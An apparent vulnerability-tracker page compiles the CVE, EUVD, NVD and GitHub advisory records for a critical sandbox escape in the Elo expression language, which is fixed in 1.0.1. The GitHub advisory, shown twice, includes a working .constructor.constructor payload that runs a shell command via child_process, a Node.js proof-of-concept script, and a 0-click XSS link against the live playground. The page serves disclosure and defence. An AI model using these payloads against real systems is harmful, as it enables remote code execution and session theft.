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elo · Vulnerability

CVSS 3.1 9.8 CRITICALEUVD CVSS 3.1 9.8 CVSS 3.1 · [email protected] · Secondary 9.8 CRITICALCVSS_V3 Publisher rating CRITICALFixed by @enspirit/elo 1.0.1KEV status unknown

cve-program · CVE-2026-44267

Published

Elo is a purely functional expression language for no-code tools. Prior to 1.0.1, plain Elo strings supplied to defaultFormats.elo.parse(), bin/elo, or elo-lang.org/try can use .constructor.constructor to reach JavaScript Function because the member_access handler in src/transform.ts does not reject meta-properties, src/compilers/javascript.ts emits the surviving property directly, and src/parser.ts accepts constructor as an ordinary identifier. The resulting generated JavaScript executes attacker-selected code in the host runtime. This permits browser script execution and session compromise on the auto-running playground and arbitrary Node.js code execution on library, CI, or DevOps hosts. This plain-string path is distinct from the programmatic AST-object injection issue. This issue is fixed in version 1.0.1.

Read the publisher's advisory

euvd · EUVD-2026-116111

Published

Elo is a purely functional expression language for no-code tools. Prior to 1.0.1, plain Elo strings supplied to defaultFormats.elo.parse(), bin/elo, or elo-lang.org/try can use .constructor.constructor to reach JavaScript Function because the member_access handler in src/transform.ts does not reject meta-properties, src/compilers/javascript.ts emits the surviving property directly, and src/parser.ts accepts constructor as an ordinary identifier. The resulting generated JavaScript executes attacker-selected code in the host runtime. This permits browser script execution and session compromise on the auto-running playground and arbitrary Node.js code execution on library, CI, or DevOps hosts. This plain-string path is distinct from the programmatic AST-object injection issue. This issue is fixed in version 1.0.1.

Read the publisher's advisory

nvd · CVE-2026-44267

Published

Elo is a purely functional expression language for no-code tools. Prior to 1.0.1, plain Elo strings supplied to defaultFormats.elo.parse(), bin/elo, or elo-lang.org/try can use .constructor.constructor to reach JavaScript Function because the member_access handler in src/transform.ts does not reject meta-properties, src/compilers/javascript.ts emits the surviving property directly, and src/parser.ts accepts constructor as an ordinary identifier. The resulting generated JavaScript executes attacker-selected code in the host runtime. This permits browser script execution and session compromise on the auto-running playground and arbitrary Node.js code execution on library, CI, or DevOps hosts. This plain-string path is distinct from the programmatic AST-object injection issue. This issue is fixed in version 1.0.1.

Read the publisher's advisory

osv · GHSA-33r5-xmm8-v6x5

Published

### Summary An unauthenticated attacker who controls a string passed to any Elo JavaScript-emission path — `defaultFormats.elo.parse()`, the `bin/elo` CLI, or the live browser playground at `elo-lang.org/try` — can execute arbitrary code in the host JavaScript runtime. A payload built from the `.constructor.constructor` chain compiles, without modification, to a live `Function` invocation in the emitted JavaScript, escaping any sandbox assumption around "Elo is a safe data/DSL language." ### Vulnerable sink and root cause Three interacting sites in `src/` produce the bug at commit `749af7b`: 1. **`src/transform.ts:144–158`** — the `member_access` handler allows access on types `any`, `object`, or `array` without filtering the property name. This is the only place an integrator could have plugged a denylist. 2. **`src/compilers/javascript.ts:210`** — the JS emitter writes `${objectExpr}.${ir.property}` verbatim into the output, so any property name that survives the transform step flows unescaped into emitted JavaScript. 3. **`src/parser.ts:163–170, 748–750`** — the parser accepts `constructor` (and other JS meta-property names) as an ordinary identifier, so `.constructor` clears type-checking without triggering any warning. Combined, the Elo expression `({}).constructor.constructor('…')()` compiles to a live `Function('…')()` call in the emitted JS, executing in the realm of whichever sink runs the compiled code. ### Attack surfaces All three surfaces share the same root cause (no denylist in `transform.ts`) and are addressed by the same one-file patch: | # | Entry point | Threat model | |---|---|---| | 1 | Browser playground — `https://elo-lang.org/try/?code=…&run=1` | **0-click XSS / account takeover** against elo-lang.org. `?run=1` triggers `setTimeout(() => this.run(), 100)` in `playground_controller.ts:531`; the server issues a 301 that preserves `?code=`. Any shared URL that contains a payload compromises the visitor's session on elo-lang.org. | | 2 | `bin/elo` CLI | **RCE on CI / DevOps hosts.** Both `node bin/elo payload.elo` and `node bin/elo -e "_" -d @payload.elo -f elo` fire. The `-f elo` path is especially severe: the flag exists to pass user-supplied files as *data* into an Elo pipeline. No integrator expects a data-format flag to shell out to `/usr/bin/id`. | | 3 | Library API — `defaultFormats.elo.parse()` | **Node.js RCE for any downstream integrator** using Elo as a rule engine, configuration DSL, or form builder DSL (the primary documented use cases). | ### Proof of Concept **Common payload (works on all three entry points):** ```elo ({}).constructor.constructor('return this.constructor.constructor(\'return process\')().mainModule.require(\'child_process\').execSync(\'id\').toString()')() ``` **Library API** — `poc-minimal.js`: ```js // npm install elo const { defaultFormats } = require('elo'); const payload = "({}).constructor.constructor('return this.constructor.constructor(\\'return process\\')().mainModule.require(\\'child_process\\').execSync(\\'id\\').toString()')()"; console.log(defaultFormats.elo.parse(payload)); // → uid=1000(ultrasupara) gid=1000(ultrasupara) groups=… ``` **CLI** — `poc-cli.sh`: ```sh node bin/elo payload.elo # uid=1000(ultrasupara)… node bin/elo -e "_" -d @payload.elo -f elo # uid=1000(ultrasupara)… ``` **Browser playground** — 0-click XSS URL: ``` https://elo-lang.org/try/?code=%28%7B%7D%29.constructor.constructor%28%27alert%28document.domain%29%27%29%28%29&run=1 ``` Opening this URL causes `alert(document.domain)` to fire automatically after ~100 ms with no user interaction beyond navigating to the link. The 301 redirect preserves the `?code=` parameter intact. End-to-end execution on the live production site was captured in a screen recording attached to the original report. ### Independence from GHSA #3 (AST-API injection) This finding is independent of the Medium-severity AST-API report (GHSA #3). That fix's identifier regex `^[a-zA-Z_][a-zA-Z0-9_]*$` happens to accept `constructor`, and its threat model requires an attacker-controlled AST *object* rather than a plain string. The current finding requires only a plain Elo string, which is a strictly weaker attacker model.

Read the publisher's advisory

Affected versions, risk and source history

Exploitation and risk

Source status

CISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.

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This view includes predictions for CVE identifiers explicitly listed in public NuGet advisories. Microsoft release pages have their own prediction coverage. Check source status for the scope and latest checks.

No exploitation or prediction data is available here for these CVEs. This does not mean they are safe or unlikely to be exploited.

cve-program · CVE-2026-44267

Published

Elo: Sandbox escape to arbitrary Node.js / browser code execution via unfiltered `.constructor` member access in Elo JavaScript emitter

Elo is a purely functional expression language for no-code tools. Prior to 1.0.1, plain Elo strings supplied to defaultFormats.elo.parse(), bin/elo, or elo-lang.org/try can use .constructor.constructor to reach JavaScript Function because the member_access handler in src/transform.ts does not reject meta-properties, src/compilers/javascript.ts emits the surviving property directly, and src/parser.ts accepts constructor as an ordinary identifier. The resulting generated JavaScript executes attacker-selected code in the host runtime. This permits browser script execution and session compromise on the auto-running playground and arbitrary Node.js code execution on library, CI, or DevOps hosts. This plain-string path is distinct from the programmatic AST-object injection issue. This issue is fixed in version 1.0.1.

Source published
3 Nov 2026 17:52:25 UTC
Source modified
7 Nov 2026 03:20:59 UTC
Saved here
7 Nov 2026 05:26:54 UTC
Source terms
CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 3.1 · 9.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

euvd · EUVD-2026-116111

Published

Elo is a purely functional expression language for no-code tools. Prior to 1.0.1, plain Elo strings supplied to defaultFormats.elo.parse(), bin/elo, or elo-lang.org/try can use .constructor.constructor to reach JavaScript Function because t…

Elo is a purely functional expression language for no-code tools. Prior to 1.0.1, plain Elo strings supplied to defaultFormats.elo.parse(), bin/elo, or elo-lang.org/try can use .constructor.constructor to reach JavaScript Function because the member_access handler in src/transform.ts does not reject meta-properties, src/compilers/javascript.ts emits the surviving property directly, and src/parser.ts accepts constructor as an ordinary identifier. The resulting generated JavaScript executes attacker-selected code in the host runtime. This permits browser script execution and session compromise on the auto-running playground and arbitrary Node.js code execution on library, CI, or DevOps hosts. This plain-string path is distinct from the programmatic AST-object injection issue. This issue is fixed in version 1.0.1.

Additional publisher context

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Nov 3, 2026, 5:52:25 PM

dateUpdated: Nov 7, 2026, 3:20:59 AM

Source published
Nov 3, 2026, 5:52:25 PM (timezone not stated)
Source modified
Nov 7, 2026, 3:20:59 AM (timezone not stated)
Saved here
14 Nov 2026 06:10:11 UTC
Source terms
ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

EUVD CVSS 3.1 · 9.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

nvd · CVE-2026-44267

Published

Elo is a purely functional expression language for no-code tools. Prior to 1.0.1, plain Elo strings supplied to defaultFormats.elo.parse(), bin/elo, or elo-lang.org/try can use .constructor.constructor to reach JavaScript Function because t…

Elo is a purely functional expression language for no-code tools. Prior to 1.0.1, plain Elo strings supplied to defaultFormats.elo.parse(), bin/elo, or elo-lang.org/try can use .constructor.constructor to reach JavaScript Function because the member_access handler in src/transform.ts does not reject meta-properties, src/compilers/javascript.ts emits the surviving property directly, and src/parser.ts accepts constructor as an ordinary identifier. The resulting generated JavaScript executes attacker-selected code in the host runtime. This permits browser script execution and session compromise on the auto-running playground and arbitrary Node.js code execution on library, CI, or DevOps hosts. This plain-string path is distinct from the programmatic AST-object injection issue. This issue is fixed in version 1.0.1.

Additional publisher context

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Deferred

Weakness classifications: CWE-79 · CWE-94 · CWE-693 · CWE-1336

Original publisher date fields

published: 2026-11-03T18:18:03.130

lastModified: 2026-11-12T22:18:51.470

Source published
3 Nov 2026 18:18:03 UTC
Source modified
12 Nov 2026 22:18:51 UTC
Saved here
13 Nov 2026 22:01:12 UTC
Source terms
NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 3.1 · [email protected] · Secondary · 9.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

osv · GHSA-33r5-xmm8-v6x5

Published

Elo JavaScript emitter has sandbox escape to arbitrary Node.js / browser code execution via unfiltered `.constructor` member access

### Summary An unauthenticated attacker who controls a string passed to any Elo JavaScript-emission path — `defaultFormats.elo.parse()`, the `bin/elo` CLI, or the live browser playground at `elo-lang.org/try` — can execute arbitrary code in the host JavaScript runtime. A payload built from the `.constructor.constructor` chain compiles, without modification, to a live `Function` invocation in the emitted JavaScript, escaping any sandbox assumption around "Elo is a safe data/DSL language." ### Vulnerable sink and root cause Three interacting sites in `src/` produce the bug at commit `749af7b`: 1. **`src/transform.ts:144–158`** — the `member_access` handler allows access on types `any`, `object`, or `array` without filtering the property name. This is the only place an integrator could have plugged a denylist. 2. **`src/compilers/javascript.ts:210`** — the JS emitter writes `${objectExpr}.${ir.property}` verbatim into the output, so any property name that survives the transform step flows unescaped into emitted JavaScript. 3. **`src/parser.ts:163–170, 748–750`** — the parser accepts `constructor` (and other JS meta-property names) as an ordinary identifier, so `.constructor` clears type-checking without triggering any warning. Combined, the Elo expression `({}).constructor.constructor('…')()` compiles to a live `Function('…')()` call in the emitted JS, executing in the realm of whichever sink runs the compiled code. ### Attack surfaces All three surfaces share the same root cause (no denylist in `transform.ts`) and are addressed by the same one-file patch: | # | Entry point | Threat model | |---|---|---| | 1 | Browser playground — `https://elo-lang.org/try/?code=…&run=1` | **0-click XSS / account takeover** against elo-lang.org. `?run=1` triggers `setTimeout(() => this.run(), 100)` in `playground_controller.ts:531`; the server issues a 301 that preserves `?code=`. Any shared URL that contains a payload compromises the visitor's session on elo-lang.org. | | 2 | `bin/elo` CLI | **RCE on CI / DevOps hosts.** Both `node bin/elo payload.elo` and `node bin/elo -e "_" -d @payload.elo -f elo` fire. The `-f elo` path is especially severe: the flag exists to pass user-supplied files as *data* into an Elo pipeline. No integrator expects a data-format flag to shell out to `/usr/bin/id`. | | 3 | Library API — `defaultFormats.elo.parse()` | **Node.js RCE for any downstream integrator** using Elo as a rule engine, configuration DSL, or form builder DSL (the primary documented use cases). | ### Proof of Concept **Common payload (works on all three entry points):** ```elo ({}).constructor.constructor('return this.constructor.constructor(\'return process\')().mainModule.require(\'child_process\').execSync(\'id\').toString()')() ``` **Library API** — `poc-minimal.js`: ```js // npm install elo const { defaultFormats } = require('elo'); const payload = "({}).constructor.constructor('return this.constructor.constructor(\\'return process\\')().mainModule.require(\\'child_process\\').execSync(\\'id\\').toString()')()"; console.log(defaultFormats.elo.parse(payload)); // → uid=1000(ultrasupara) gid=1000(ultrasupara) groups=… ``` **CLI** — `poc-cli.sh`: ```sh node bin/elo payload.elo # uid=1000(ultrasupara)… node bin/elo -e "_" -d @payload.elo -f elo # uid=1000(ultrasupara)… ``` **Browser playground** — 0-click XSS URL: ``` https://elo-lang.org/try/?code=%28%7B%7D%29.constructor.constructor%28%27alert%28document.domain%29%27%29%28%29&run=1 ``` Opening this URL causes `alert(document.domain)` to fire automatically after ~100 ms with no user interaction beyond navigating to the link. The 301 redirect preserves the `?code=` parameter intact. End-to-end execution on the live production site was captured in a screen recording attached to the original report. ### Independence from GHSA #3 (AST-API injection) This finding is independent of the Medium-severity AST-API report (GHSA #3). That fix's identifier regex `^[a-zA-Z_][a-zA-Z0-9_]*$` happens to accept `constructor`, and its threat model requires an attacker-controlled AST *object* rather than a plain string. The current finding requires only a plain Elo string, which is a strictly weaker attacker model.

Source published
3 Nov 2026 17:53:42 UTC
Source modified
3 Nov 2026 18:02:25 UTC
Saved here
3 Nov 2026 18:57:56 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Publisher rating · CRITICAL

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 16 Nov 02:37 UTC · 274 of 275 readable · 258 fully read · 11 waiting for GitHub's hourly limit · documentation 444/469 current